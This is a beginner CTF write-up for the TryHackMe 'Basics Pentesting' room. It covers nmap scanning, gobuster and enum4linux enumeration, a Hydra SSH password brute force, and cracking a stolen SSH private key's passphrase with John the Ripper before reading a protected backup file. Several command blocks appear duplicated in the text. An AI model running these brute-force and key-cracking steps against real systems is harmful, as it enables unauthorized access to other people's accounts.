November 18, 2026
TryHackMe Basics Pentesting | Writeup
Introduction

By Muhammediisa
2 min read
Basics Pentesting is a beginner-level CTF focused on fundamental penetration testing techniques, including enumeration, SMB, SSH, and password cracking
NMAP SCANNING
First, we use Nmap to identify open ports, running services, and their versions on the target machine
nmap -A -vv -p- $IP
The main discovered ports are:
22 - SSH ( Secure shell )
80 - HTTP ( Web server )
139 - NetBIOS-SSN ( SMB-related service )
445 - SMB ( Server Message Block )
8080 - HTTP ( Apache TomCat )nmap -A -vv -p- $IP
The main discovered ports are:
22 - SSH ( Secure shell )
80 - HTTP ( Web server )
139 - NetBIOS-SSN ( SMB-related service )
445 - SMB ( Server Message Block )
8080 - HTTP ( Apache TomCat )The open ports 139 and 445 are particularly important because they indicate that SMB services may be available for further enumeration.
ENUMERATION
When accessing the main web page, we cannot find any usefol information. Therefore we use Gobuster to discover hidden directories available on the web server:
gobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
As a result, we discover the /development directorygobuster dir -u http://$IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
As a result, we discover the /development directoryAfter exploring this directory we find two files named dev.txt and j.txt By reading their contents we obtain information related to users and file transfers.
Considering this information and the SMB ports discovered during the Nmap scan we decide to investigate the SMB service further
SMB ENUMERATION
SMB ( server message block ) is a network protocol that allows devices to share files and printers across a network
To gather information about SMB identify users and discover shared directories we use Enum4linux
enum4linux -a $IPenum4linux -a $IPAs a result of enumeration we discover that a share named Anonymous is accessible without a password
We connecting we list the available files:
We download the required file to our local machine:
ls
get filename
quitls
get filename
quitAfter examining the file's contens we discover two usernames: Kay and Jan
SSH ACCESS
During the Nmap scan we identified that the SSH service is running on port 22.
Considering that the Jan username has been discovered we use Hydra in the CTF environment to test possible passwords
hydra -l jan -P /usr/share/wordlists/rockyou.txt $IP ssh
As a result we successfully identify Jan's password as armando
We connect to the machine via SSH:
ssh jan@$IP
After Successfully logging in we investigate Kay's home directory
We encounter a file named pass.bak but we do not have sufficient permissions to read it
Therefore, we also inspect hidden files and directories:
ls -la
As a result we discover a hidden directory named .ssh
hydra -l jan -P /usr/share/wordlists/rockyou.txt $IP ssh
As a result we successfully identify Jan's password as armando
We connect to the machine via SSH:
ssh jan@$IP
After Successfully logging in we investigate Kay's home directory
We encounter a file named pass.bak but we do not have sufficient permissions to read it
Therefore, we also inspect hidden files and directories:
ls -la
As a result we discover a hidden directory named .ssh
SSH PRIVATE KEY ENUMERATION
After exploring the .ssh directory we find a private key file named id_rsa
To identify the passphrase protecting this key we first convert it into a hash format compatible with John the Ripper using ssh2john
ssh2john id_rsa > hash.txt
Next we use John the Ripper to perform a wordlist-based password check:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
As a result we obtain the passphrase beeswaxssh2john id_rsa > hash.txt
Next we use John the Ripper to perform a wordlist-based password check:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
As a result we obtain the passphrase beeswaxKAY USER ACCESS
Using the private key and the recovered passphrase we establish an SSH connection as the Kay user
chmod 600 id_rsa
ssh -i id_rsa kay@$IP
When prompted we enter the passphrase beeswax
After Successfuly logging in we read the pass.bak file:
cat pass.bakchmod 600 id_rsa
ssh -i id_rsa kay@$IP
When prompted we enter the passphrase beeswax
After Successfuly logging in we read the pass.bak file:
cat pass.bakFinally, we obtain the contents of the file and complete this stage of the CTF
I didn't think it was necessary to write down the other answers since they were simple questions and the answers were already included in the write-ups.
THANKS FOR READING>>>